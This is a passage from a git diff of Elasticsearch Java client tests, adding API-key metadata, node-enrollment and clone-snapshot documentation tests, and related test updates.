RequestOptions.DEFAULT); assertThat(createApiKeyResponse2.getName(), equalTo("k2")); assertNotNull(createApiKeyResponse2.getKey()); @@ -2336,7 +2352,7 @@ public void testInvalidateApiKey() throws Exception { } { - createApiKeyRequest = new CreateApiKeyRequest("k3", roles, expiration, refreshPolicy); + createApiKeyRequest = new CreateApiKeyRequest("k3", roles, expiration, refreshPolicy, metadata); CreateApiKeyResponse createApiKeyResponse3 = client.security().createApiKey(createApiKeyRequest, RequestOptions.DEFAULT); assertThat(createApiKeyResponse3.getName(), equalTo("k3")); assertNotNull(createApiKeyResponse3.getKey()); @@ -2359,7 +2375,7 @@ public void testInvalidateApiKey() throws Exception { } { - createApiKeyRequest = new CreateApiKeyRequest("k4", roles, expiration, refreshPolicy); + createApiKeyRequest = new CreateApiKeyRequest("k4", roles, expiration, refreshPolicy, metadata); CreateApiKeyResponse createApiKeyResponse4 = client.security().createApiKey(createApiKeyRequest, RequestOptions.DEFAULT); assertThat(createApiKeyResponse4.getName(), equalTo("k4")); assertNotNull(createApiKeyResponse4.getKey()); @@ -2382,7 +2398,7 @@ public void testInvalidateApiKey() throws Exception { } { - createApiKeyRequest = new CreateApiKeyRequest("k5", roles, expiration, refreshPolicy); + createApiKeyRequest = new CreateApiKeyRequest("k5", roles, expiration, refreshPolicy, metadata); CreateApiKeyResponse createApiKeyResponse5 = client.security().createApiKey(createApiKeyRequest, RequestOptions.DEFAULT); assertThat(createApiKeyResponse5.getName(), equalTo("k5")); assertNotNull(createApiKeyResponse5.getKey()); @@ -2407,7 +2423,7 @@ public void testInvalidateApiKey() throws Exception { } { - createApiKeyRequest = new CreateApiKeyRequest("k6", roles, expiration, refreshPolicy); + createApiKeyRequest = new CreateApiKeyRequest("k6", roles, expiration, refreshPolicy, metadata); CreateApiKeyResponse createApiKeyResponse6 = client.security().createApiKey(createApiKeyRequest, RequestOptions.DEFAULT); assertThat(createApiKeyResponse6.getName(), equalTo("k6")); assertNotNull(createApiKeyResponse6.getKey()); @@ -2450,7 +2466,7 @@ public void onFailure(Exception e) { } { - createApiKeyRequest = new CreateApiKeyRequest("k7", roles, expiration, refreshPolicy); + createApiKeyRequest = new CreateApiKeyRequest("k7", roles, expiration, refreshPolicy, metadata); CreateApiKeyResponse createApiKeyResponse7 = client.security().createApiKey(createApiKeyRequest, RequestOptions.DEFAULT); assertThat(createApiKeyResponse7.getName(), equalTo("k7")); assertNotNull(createApiKeyResponse7.getKey()); @@ -2548,6 +2564,51 @@ public void onFailure(Exception e) { } } + @AwaitsFix(bugUrl = "Determine behavior for keystores with multiple keys") + public void testNodeEnrollment() throws Exception { + RestHighLevelClient client = highLevelClient(); + + { + // tag::node-enrollment-execute + NodeEnrollmentResponse response = client.security().enrollNode(RequestOptions.DEFAULT); + // end::node-enrollment-execute + + // tag::node-enrollment-response + String httpCaKey = response.getHttpCaKey(); // <1> + String httpCaCert = response.getHttpCaCert(); // <2> + String transportKey = response.getTransportKey(); // <3> + String transportCert = response.getTransportCert(); // <4> + String clusterName = response.getClusterName(); // <5> + List nodesAddresses = response.getNodesAddresses(); // <6> + // end::node-enrollment-response + } + + { + // tag::node-enrollment-execute-listener + ActionListener listener = + new ActionListener() { + @Override + public void onResponse(NodeEnrollmentResponse response) { + // <1> + } + + + @Override + public void onFailure(Exception e) { + // <2> + }}; + // end::node-enrollment-execute-listener + + final CountDownLatch latch = new CountDownLatch(1); + listener = new LatchedActionListener<>(listener, latch); + + // tag::node-enrollment-execute-async + client.security().enrollNodeAsync(RequestOptions.DEFAULT, listener); + // end::node-enrollment-execute-async + assertTrue(latch.await(30L, TimeUnit.SECONDS)); + } + } + private X509Certificate readCertForPkiDelegation(String certificateName) throws Exception { Path path = getDataPath("/org/elasticsearch/client/security/delegate_pki/" + certificateName); try (InputStream in = Files.newInputStream(path)) { diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SnapshotClientDocumentationIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SnapshotClientDocumentationIT.java index e71adf70e77a9..2b9bd9bc87590 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SnapshotClientDocumentationIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation/SnapshotClientDocumentationIT.java @@ -16,6 +16,7 @@ import org.elasticsearch.action.admin.cluster.repositories.put.PutRepositoryRequest; import org.elasticsearch.action.admin.cluster.repositories.verify.VerifyRepositoryRequest; import org.elasticsearch.action.admin.cluster.repositories.verify.VerifyRepositoryResponse; +import org.elasticsearch.action.admin.cluster.snapshots.clone.CloneSnapshotRequest; import org.elasticsearch.action.admin.cluster.snapshots.create.CreateSnapshotRequest; import org.elasticsearch.action.admin.cluster.snapshots.create.CreateSnapshotResponse; import org.elasticsearch.action.admin.cluster.snapshots.delete.DeleteSnapshotRequest; @@ -792,6 +793,83 @@ public void onFailure(Exception e) { } } + public void testCloneSnapshot() throws IOException { + RestHighLevelClient client = highLevelClient(); + + createTestRepositories(); + createTestIndex(); + createTestSnapshots(); + + String sourceSnapshotName = snapshotName; + String targetSnapshotName = snapshotName + "_clone"; + String[] indices = new String[]{indexName}; + + // tag::clone-snapshot-request + CloneSnapshotRequest request = new CloneSnapshotRequest(repositoryName, sourceSnapshotName, targetSnapshotName, indices); + // end::clone-snapshot-request + + // tag::clone-snapshot-request-indices + request.indices("test_index"); // <1> + // end::clone-snapshot-request-indices + + // tag::clone-snapshot-request-masterTimeout + request.masterNodeTimeout(TimeValue.timeValueMinutes(1)); // <1> + request.masterNodeTimeout("1m"); // <2> + // end::clone-snapshot-request-masterTimeout + + // tag::clone-snapshot-request-index-settings + request.indicesOptions(new IndicesOptions( + EnumSet.of(IndicesOptions.Option.IGNORE_UNAVAILABLE), // <1> + EnumSet.of( + IndicesOptions.WildcardStates.OPEN, + IndicesOptions.WildcardStates.CLOSED, + IndicesOptions.WildcardStates.HIDDEN)) + ); + // end::clone-snapshot-request-index-settings + + // tag::clone-snapshot-execute + AcknowledgedResponse response = client.snapshot().clone(request, RequestOptions.DEFAULT); + // end::clone-snapshot-execute + + // tag::clone-snapshot-response + boolean acknowledged = response.isAcknowledged(); // <1> + // end::clone-snapshot-response + assertTrue(acknowledged); + } + + public void testCloneSnapshotAsync() throws InterruptedException { + RestHighLevelClient client = highLevelClient(); + { + String targetSnapshot = snapshotName + "_clone"; + CloneSnapshotRequest request = new CloneSnapshotRequest(repositoryName, snapshotName, targetSnapshot, new String[]{indexName}); + + // tag::clone-snapshot-execute-listener + ActionListener listener = + new ActionListener() { + @Override + public void onResponse(AcknowledgedResponse acknowledgedResponse) { + // <1> + } + + @Override + public void onFailure(Exception e) { + // <2> + } + }; + // end::clone-snapshot-execute-listener + + // Replace the empty listener by a blocking listener in test + final CountDownLatch latch = new CountDownLatch(1); + listener = new LatchedActionListener<>(listener, latch); + + // tag::clone-snapshot-execute-async + client.snapshot().cloneAsync(request, RequestOptions.DEFAULT, listener); // <1> + // end::clone-snapshot-execute-async + + assertTrue(latch.await(30L, TimeUnit.SECONDS)); + } + } + private void createTestRepositories() throws IOException { PutRepositoryRequest request = new PutRepositoryRequest(repositoryName); request.type(FsRepository.TYPE); diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/enrich/StatsResponseTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/enrich/StatsResponseTests.java index a3b3d9e608884..7efbca89294fb 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/enrich/StatsResponseTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/enrich/StatsResponseTests.java @@ -78,10 +78,22 @@ private static TaskInfo randomTaskInfo() { long startTime = randomLong(); long runningTimeNanos = randomNonNegativeLong(); boolean cancellable = randomBoolean(); + boolean cancelled = cancellable && randomBoolean(); TaskId parentTaskId = TaskId.EMPTY_TASK_ID; Map headers = randomBoolean() ? Collections.emptyMap() : Collections.singletonMap(randomAlphaOfLength(5), randomAlphaOfLength(5)); - return new TaskInfo(taskId, type, action, description, null, startTime, runningTimeNanos, cancellable, parentTaskId, headers); + return new TaskInfo( + taskId, + type, + action, + description, + null, + startTime, + runningTimeNanos, + cancellable, + cancelled, + parentTaskId, + headers); } } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/eql/EqlSearchRequestTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/eql/EqlSearchRequestTests.java index 9cc4a68bea39b..25a210df30776 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/eql/EqlSearchRequestTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/eql/EqlSearchRequestTests.java @@ -18,6 +18,7 @@ import java.io.IOException; import java.util.List; +import static org.elasticsearch.xpack.ql.TestUtils.randomRuntimeMappings; import static org.hamcrest.Matchers.equalTo; public class EqlSearchRequestTests extends AbstractRequestTestCase { @@ -50,6 +51,9 @@ protected EqlSearchRequest createClientTestInstance() { eqlSearchRequest.filter(QueryBuilders.termQuery(randomAlphaOfLength(10), randomInt(100))); } } + if (randomBoolean()) { + eqlSearchRequest.runtimeMappings(randomRuntimeMappings()); + } return eqlSearchRequest; } @@ -70,6 +74,7 @@ protected void assertInstances(org.elasticsearch.xpack.eql.action.EqlSearchReque assertThat(serverInstance.indices(), equalTo(clientTestInstance.indices())); assertThat(serverInstance.fetchSize(), equalTo(clientTestInstance.fetchSize())); assertThat(serverInstance.size(), equalTo(clientTestInstance.size())); + assertThat(serverInstance.runtimeMappings(), equalTo(clientTestInstance.runtimeMappings())); } @Override diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/eql/EqlSearchResponseTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/eql/EqlSearchResponseTests.java index b2a03ee2460bf..68fff9a5479d6 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/eql/EqlSearchResponseTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/eql/EqlSearchResponseTests.java @@ -11,17 +11,23 @@ import org.apache.lucene.search.TotalHits; import org.elasticsearch.client.AbstractResponseTestCase; import org.elasticsearch.common.bytes.BytesReference; +import org.elasticsearch.common.collect.Tuple; +import org.elasticsearch.common.document.DocumentField; import org.elasticsearch.common.xcontent.ToXContent; import org.elasticsearch.common.xcontent.ToXContentObject; import org.elasticsearch.common.xcontent.XContentBuilder; import org.elasticsearch.common.xcontent.XContentParser; import org.elasticsearch.common.xcontent.XContentType; import org.elasticsearch.search.lookup.SourceLookup; +import org.elasticsearch.test.ESTestCase; +import org.elasticsearch.test.RandomObjects; import java.io.IOException; import java.util.ArrayList; import java.util.Arrays; +import java.util.HashMap; import java.util.List; +import java.util.Map; import java.util.Objects; import java.util.function.Supplier; @@ -83,7 +89,16 @@ static List randomEv hits = new ArrayList<>(); for (int i = 0; i < size; i++) { BytesReference bytes = new RandomSource(() -> randomAlphaOfLength(10)).toBytes(xType); - hits.add(new org.elasticsearch.xpack.eql.action.EqlSearchResponse.Event(String.valueOf(i), randomAlphaOfLength(10), bytes)); + Map fetchFields = new HashMap<>(); + int fieldsCount = randomIntBetween(0, 5); + for (int j = 0; j < fieldsCount; j++) { + fetchFields.put(randomAlphaOfLength(10), randomDocumentField(xType).v1()); + } + if (fetchFields.isEmpty() && randomBoolean()) { + fetchFields = null; + } + hits.add(new org.elasticsearch.xpack.eql.action.EqlSearchResponse.Event(String.valueOf(i), randomAlphaOfLength(10), bytes, + fetchFields)); } } if (randomBoolean()) { @@ -92,6 +107,30 @@ static List randomEv return hits; } + private static Tuple randomDocumentField(XContentType xType) { + switch (randomIntBetween(0, 2)) { + case 0: + String fieldName = randomAlphaOfLengthBetween(3, 10); + Tuple, List> tuple = RandomObjects.randomStoredFieldValues(random(), xType); + DocumentField input = new DocumentField(fieldName, tuple.v1()); + DocumentField expected = new DocumentField(fieldName, tuple.v2()); + return Tuple.tuple(input, expected); + case 1: + List listValues = randomList(1, 5, () -> randomList(1, 5, ESTestCase::randomInt)); + DocumentField listField = new DocumentField(randomAlphaOfLength(5), listValues); + return Tuple.tuple(listField, listField); + case 2: + List objectValues = randomList(1, 5, () -> + Map.of(randomAlphaOfLength(5), randomInt(), + randomAlphaOfLength(5), randomBoolean(), + randomAlphaOfLength(5), randomAlphaOfLength(10))); + DocumentField objectField = new DocumentField(randomAlphaOfLength(5), objectValues); + return Tuple.tuple(objectField, objectField); + default: + throw new IllegalStateException(); + } + } + public static org.elasticsearch.xpack.eql.action.EqlSearchResponse createRandomEventsResponse(TotalHits totalHits, XContentType xType) { org.elasticsearch.xpack.eql.action.EqlSearchResponse.Hits hits = null; if (randomBoolean()) { diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/ilm/LifecyclePolicyTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/ilm/LifecyclePolicyTests.java index 843a86b0f8030..23b63ddfcc3f4 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/ilm/LifecyclePolicyTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/ilm/LifecyclePolicyTests.java @@ -194,7 +194,7 @@ public void testValidateEmptyDeletePhase() { } public static LifecyclePolicy createRandomPolicy(String lifecycleName) { - List phaseNames = randomSubsetOf(Arrays.asList("hot", "warm", "cold", "delete")); + List phaseNames = Arrays.asList("hot", "warm", "cold", "delete"); Map phases = new HashMap<>(phaseNames.size()); Function> validActions = (phase) -> { switch (phase) { @@ -247,8 +247,11 @@ public static LifecyclePolicy createRandomPolicy(String lifecycleName) { default: throw new IllegalArgumentException("invalid action [" + action + "]"); }}; + TimeValue prev = null; for (String phase : phaseNames) { - TimeValue after = TimeValue.parseTimeValue(randomTimeValue(0, 1000000000, "s", "m", "h", "d"), "test_after"); + TimeValue after = prev == null ? TimeValue.parseTimeValue(randomTimeValue(0, 10000, "s", "m", "h", "d"), "test_after") : + TimeValue.timeValueSeconds(prev.seconds() + randomIntBetween(60, 600)); + prev = after; Map actions = new HashMap<>(); List actionNames; if (allowEmptyActions.apply(phase)) { diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/ilm/MigrateActionTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/ilm/MigrateActionTests.java index 6d9b3ffa83c33..6684a703a4026 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/ilm/MigrateActionTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/ilm/MigrateActionTests.java @@ -9,6 +9,7 @@ import org.elasticsearch.common.xcontent.XContentParser; import org.elasticsearch.test.AbstractXContentTestCase; +import org.elasticsearch.test.EqualsHashCodeTestUtils; import java.io.IOException; @@ -32,4 +33,10 @@ static MigrateAction randomInstance() { protected boolean supportsUnknownFields() { return false; } + + public void testEqualsHashCode() { + EqualsHashCodeTestUtils.checkEqualsAndHashCode(createTestInstance(), + m -> new MigrateAction(m.isEnabled()), + m -> new MigrateAction(m.isEnabled() == false)); + } } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/indices/GetDataStreamResponseTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/indices/GetDataStreamResponseTests.java index a30c3f787bb2f..14bd2b742bf0a 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/indices/GetDataStreamResponseTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/indices/GetDataStreamResponseTests.java @@ -9,7 +9,7 @@ package org.elasticsearch.client.indices; import org.elasticsearch.client.AbstractResponseTestCase; -import org.elasticsearch.cluster.DataStreamTestHelper; +import org.elasticsearch.cluster.metadata.DataStreamTestHelper; import org.elasticsearch.cluster.health.ClusterHealthStatus; import org.elasticsearch.cluster.metadata.DataStream; import org.elasticsearch.common.xcontent.XContentParser; diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/ml/PreviewDatafeedRequestTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/ml/PreviewDatafeedRequestTests.java index 72fb42de09195..31e3bc1c4bda8 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/ml/PreviewDatafeedRequestTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/ml/PreviewDatafeedRequestTests.java @@ -8,6 +8,7 @@ package org.elasticsearch.client.ml; import org.elasticsearch.client.ml.datafeed.DatafeedConfigTests; +import org.elasticsearch.client.ml.job.config.JobTests; import org.elasticsearch.common.xcontent.XContentParser; import org.elasticsearch.test.AbstractXContentTestCase; @@ -17,7 +18,9 @@ public class PreviewDatafeedRequestTests extends AbstractXContentTestCase { @@ -80,6 +82,14 @@ public static DatafeedUpdate createRandom() { randomBoolean(), randomBoolean())); } + if (randomBoolean()) { + Map settings = new HashMap<>(); + settings.put("type", "keyword"); + settings.put("script", ""); + Map field = new HashMap<>(); + field.put("runtime_field_foo", settings); + builder.setRuntimeMappings(field); + } return builder.build(); } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/security/CreateApiKeyRequestTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/security/CreateApiKeyRequestTests.java index 1a7b63aecec3e..c68530357a4ee 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/security/CreateApiKeyRequestTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/security/CreateApiKeyRequestTests.java @@ -12,11 +12,9 @@ import org.elasticsearch.client.security.user.privileges.Role; import org.elasticsearch.client.security.user.privileges.Role.ClusterPrivilegeName; import org.elasticsearch.client.security.user.privileges.Role.IndexPrivilegeName; -import org.elasticsearch.common.Strings; import org.elasticsearch.common.unit.TimeValue; -import org.elasticsearch.common.xcontent.ToXContent; -import org.elasticsearch.common.xcontent.XContentBuilder; -import org.elasticsearch.common.xcontent.XContentFactory; +import org.elasticsearch.common.xcontent.XContentHelper; +import org.elasticsearch.common.xcontent.XContentType; import org.elasticsearch.test.ESTestCase; import org.elasticsearch.test.EqualsHashCodeTestUtils; @@ -24,7 +22,9 @@ import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; +import java.util.HashMap; import java.util.List; +import java.util.Map; import java.util.stream.Collectors; import static org.hamcrest.Matchers.equalTo; @@ -38,16 +38,35 @@ public void test() throws IOException { roles.add(Role.builder().name("r2").clusterPrivileges(ClusterPrivilegeName.ALL) .indicesPrivileges(IndicesPrivileges.builder().indices("ind-y").privileges(IndexPrivilegeName.ALL).build()).build()); - CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest("api-key", roles, null, null); - final XContentBuilder builder = XContentFactory.jsonBuilder(); - createApiKeyRequest.toXContent(builder, ToXContent.EMPTY_PARAMS); - final String output = Strings.toString(builder); - assertThat(output, equalTo( - "{\"name\":\"api-key\",\"role_descriptors\":{\"r1\":{\"applications\":[],\"cluster\":[\"all\"],\"indices\":[{\"names\":" - + "[\"ind-x\"],\"privileges\":[\"all\"],\"allow_restricted_indices\":false}],\"metadata\":{},\"run_as\":[]}," - + "\"r2\":{\"applications\":[],\"cluster\":" - + "[\"all\"],\"indices\":[{\"names\":[\"ind-y\"],\"privileges\":[\"all\"],\"allow_restricted_indices\":false}]," - + "\"metadata\":{},\"run_as\":[]}}}")); + final Map apiKeyMetadata = randomMetadata(); + CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest("api-key", roles, null, null, apiKeyMetadata); + + Map expected = new HashMap<>(Map.of( + "name", "api-key", + "role_descriptors", Map.of( + "r1", Map.of( + "applications", List.of(), + "cluster", List.of("all"), + "indices", List.of( + Map.of("names", List.of("ind-x"), "privileges", List.of("all"), "allow_restricted_indices", false)), + "metadata", Map.of(), + "run_as", List.of()), + "r2", Map.of( + "applications", List.of(), + "cluster", List.of("all"), + "indices", List.of( + Map.of("names", List.of("ind-y"), "privileges", List.of("all"), "allow_restricted_indices", false)), + "metadata", Map.of(), + "run_as", List.of())) + )); + if (apiKeyMetadata != null) { + expected.put("metadata", apiKeyMetadata); + } + + assertThat( + XContentHelper.convertToMap(XContentHelper.toXContent( + createApiKeyRequest, XContentType.JSON, false), false, XContentType.JSON).v2(), + equalTo(expected)); } public void testEqualsHashCode() { @@ -57,38 +76,53 @@ public void testEqualsHashCode() { final TimeValue expiration = null; final RefreshPolicy refreshPolicy = randomFrom(RefreshPolicy.values()); - CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy); + CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy, randomMetadata()); EqualsHashCodeTestUtils.checkEqualsAndHashCode(createApiKeyRequest, (original) -> { - return new CreateApiKeyRequest(original.getName(), original.getRoles(), original.getExpiration(), original.getRefreshPolicy()); + return new CreateApiKeyRequest(original.getName(), original.getRoles(), original.getExpiration(), original.getRefreshPolicy(), + original.getMetadata()); }); EqualsHashCodeTestUtils.checkEqualsAndHashCode(createApiKeyRequest, (original) -> { - return new CreateApiKeyRequest(original.getName(), original.getRoles(), original.getExpiration(), original.getRefreshPolicy()); + return new CreateApiKeyRequest(original.getName(), original.getRoles(), original.getExpiration(), original.getRefreshPolicy(), + original.getMetadata()); }, CreateApiKeyRequestTests::mutateTestItem); } private static CreateApiKeyRequest mutateTestItem(CreateApiKeyRequest original) { - switch (randomIntBetween(0, 3)) { + switch (randomIntBetween(0, 4)) { case 0: return new CreateApiKeyRequest(randomAlphaOfLength(5), original.getRoles(), original.getExpiration(), - original.getRefreshPolicy()); + original.getRefreshPolicy(), original.getMetadata()); case 1: return new CreateApiKeyRequest(original.getName(), Collections.singletonList(Role.builder().name(randomAlphaOfLength(6)).clusterPrivileges(ClusterPrivilegeName.ALL) .indicesPrivileges( IndicesPrivileges.builder().indices(randomAlphaOfLength(4)).privileges(IndexPrivilegeName.ALL).build()) .build()), - original.getExpiration(), original.getRefreshPolicy()); + original.getExpiration(), original.getRefreshPolicy(), original.getMetadata()); case 2: return new CreateApiKeyRequest(original.getName(), original.getRoles(), TimeValue.timeValueSeconds(10000), - original.getRefreshPolicy()); + original.getRefreshPolicy(), original.getMetadata()); case 3: List values = Arrays.stream(RefreshPolicy.values()).filter(rp -> rp != original.getRefreshPolicy()) .collect(Collectors.toList()); - return new CreateApiKeyRequest(original.getName(), original.getRoles(), original.getExpiration(), randomFrom(values)); + return new CreateApiKeyRequest(original.getName(), original.getRoles(), original.getExpiration(), randomFrom(values), + original.getMetadata()); + case 4: + return new CreateApiKeyRequest(original.getName(), original.getRoles(), original.getExpiration(), original.getRefreshPolicy(), + randomValueOtherThan(original.getMetadata(), CreateApiKeyRequestTests::randomMetadata)); default: return new CreateApiKeyRequest(randomAlphaOfLength(5), original.getRoles(), original.getExpiration(), - original.getRefreshPolicy()); + original.getRefreshPolicy(), original.getMetadata()); } } + + @SuppressWarnings("unchecked") + public static Map randomMetadata() { + return randomFrom( + Map.of("status", "active", "level", 42, "nested", Map.of("foo", "bar")), + Map.of("status", "active"), + Map.of(), + null); + } } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/security/GetApiKeyResponseTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/security/GetApiKeyResponseTests.java index ffb894833dc7c..ac538a5b400a1 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/security/GetApiKeyResponseTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/security/GetApiKeyResponseTests.java @@ -86,6 +86,6 @@ private static GetApiKeyResponse mutateTestItem(GetApiKeyResponse original) { private static ApiKey createApiKeyInfo(String name, String id, Instant creation, Instant expiration, boolean invalidated, String username, String realm) { - return new ApiKey(name, id, creation, expiration, invalidated, username, realm); + return new ApiKey(name, id, creation, expiration, invalidated, username, realm, null); } } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/security/GrantApiKeyRequestTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/security/GrantApiKeyRequestTests.java index 411dc061817fb..c837c52f717ea 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/security/GrantApiKeyRequestTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/security/GrantApiKeyRequestTests.java @@ -17,11 +17,14 @@ import org.elasticsearch.common.xcontent.ToXContent; import org.elasticsearch.common.xcontent.XContentBuilder; import org.elasticsearch.common.xcontent.XContentFactory; +import org.elasticsearch.common.xcontent.XContentType; import org.elasticsearch.test.ESTestCase; import org.elasticsearch.test.EqualsHashCodeTestUtils; +import org.elasticsearch.test.XContentTestUtils; import java.io.IOException; import java.util.List; +import java.util.Map; import java.util.stream.Collectors; import static org.hamcrest.Matchers.equalTo; @@ -29,18 +32,22 @@ public class GrantApiKeyRequestTests extends ESTestCase { public void testToXContent() throws IOException { - final CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest("api-key", List.of(), null, null); + final Map apiKeyMetadata = CreateApiKeyRequestTests.randomMetadata(); + final CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest("api-key", List.of(), null, null, + apiKeyMetadata); final GrantApiKeyRequest.Grant grant = GrantApiKeyRequest.Grant.passwordGrant("kamala.khan", "JerseyGirl!".toCharArray()); final GrantApiKeyRequest grantApiKeyRequest = new GrantApiKeyRequest(grant, createApiKeyRequest); final XContentBuilder builder = XContentFactory.jsonBuilder(); grantApiKeyRequest.toXContent(builder, ToXContent.EMPTY_PARAMS); final String output = Strings.toString(builder); + final String apiKeyMetadataString = apiKeyMetadata == null ? "" + : ",\"metadata\":" + XContentTestUtils.convertToXContent(apiKeyMetadata, XContentType.JSON).utf8ToString(); assertThat(output, equalTo( "{" + "\"grant_type\":\"password\"," + "\"username\":\"kamala.khan\"," + "\"password\":\"JerseyGirl!\"," + - "\"api_key\":{\"name\":\"api-key\",\"role_descriptors\":{}}" + + "\"api_key\":{\"name\":\"api-key\",\"role_descriptors\":{}" + apiKeyMetadataString + "}" + "}")); } @@ -61,7 +68,8 @@ public void testEqualsHashCode() { final TimeValue expiration = randomBoolean() ? null : TimeValue.timeValueHours(randomIntBetween(4, 100)); final RefreshPolicy refreshPolicy = randomFrom(RefreshPolicy.values()); - final CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy); + final CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy, + CreateApiKeyRequestTests.randomMetadata()); final GrantApiKeyRequest.Grant grant = randomBoolean() ? GrantApiKeyRequest.Grant.passwordGrant(randomAlphaOfLength(8), randomAlphaOfLengthBetween(6, 12).toCharArray()) : GrantApiKeyRequest.Grant.accessTokenGrant(randomAlphaOfLength(24)); @@ -89,7 +97,8 @@ private CreateApiKeyRequest clone(CreateApiKeyRequest apiKeyRequest) { apiKeyRequest.getName(), apiKeyRequest.getRoles().stream().map(r -> Role.builder().clone(r).build()).collect(Collectors.toUnmodifiableList()), apiKeyRequest.getExpiration(), - apiKeyRequest.getRefreshPolicy() + apiKeyRequest.getRefreshPolicy(), + apiKeyRequest.getMetadata() ); } @@ -106,7 +115,8 @@ private static GrantApiKeyRequest mutateTestItem(GrantApiKeyRequest original) { randomAlphaOfLengthBetween(10, 15), original.getApiKeyRequest().getRoles(), original.getApiKeyRequest().getExpiration(), - original.getApiKeyRequest().getRefreshPolicy() + original.getApiKeyRequest().getRefreshPolicy(), + original.getApiKeyRequest().getMetadata() ) ); case 2: @@ -115,17 +125,28 @@ private static GrantApiKeyRequest mutateTestItem(GrantApiKeyRequest original) { original.getApiKeyRequest().getName(), List.of(), // No role limits original.getApiKeyRequest().getExpiration(), - original.getApiKeyRequest().getRefreshPolicy() + original.getApiKeyRequest().getRefreshPolicy(), + original.getApiKeyRequest().getMetadata() ) ); case 3: + return new GrantApiKeyRequest(original.getGrant(), + new CreateApiKeyRequest( + original.getApiKeyRequest().getName(), + original.getApiKeyRequest().getRoles(), + original.getApiKeyRequest().getExpiration(), + original.getApiKeyRequest().getRefreshPolicy(), + randomValueOtherThan(original.getApiKeyRequest().getMetadata(), CreateApiKeyRequestTests::randomMetadata) + ) + ); default: return new GrantApiKeyRequest(original.getGrant(), new CreateApiKeyRequest( original.getApiKeyRequest().getName(), original.getApiKeyRequest().getRoles(), TimeValue.timeValueMinutes(randomIntBetween(10, 120)), - original.getApiKeyRequest().getRefreshPolicy() + original.getApiKeyRequest().getRefreshPolicy(), + original.getApiKeyRequest().getMetadata() ) ); } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/snapshots/GetFeaturesResponseTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/snapshots/GetFeaturesResponseTests.java new file mode 100644 index 0000000000000..473587ea3d70b --- /dev/null +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/snapshots/GetFeaturesResponseTests.java @@ -0,0 +1,67 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client.snapshots; + +import org.elasticsearch.client.AbstractResponseTestCase; +import org.elasticsearch.client.feature.GetFeaturesResponse; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.common.xcontent.XContentType; + +import java.io.IOException; +import java.util.Map; +import java.util.stream.Collectors; + +import static org.hamcrest.Matchers.everyItem; +import static org.hamcrest.Matchers.hasSize; +import static org.hamcrest.Matchers.in; +import static org.hamcrest.Matchers.is; + +public class GetFeaturesResponseTests extends AbstractResponseTestCase< + org.elasticsearch.action.admin.cluster.snapshots.features.GetSnapshottableFeaturesResponse, GetFeaturesResponse> { + + @Override + protected org.elasticsearch.action.admin.cluster.snapshots.features.GetSnapshottableFeaturesResponse createServerTestInstance( + XContentType xContentType + ) { + return new org.elasticsearch.action.admin.cluster.snapshots.features.GetSnapshottableFeaturesResponse( + 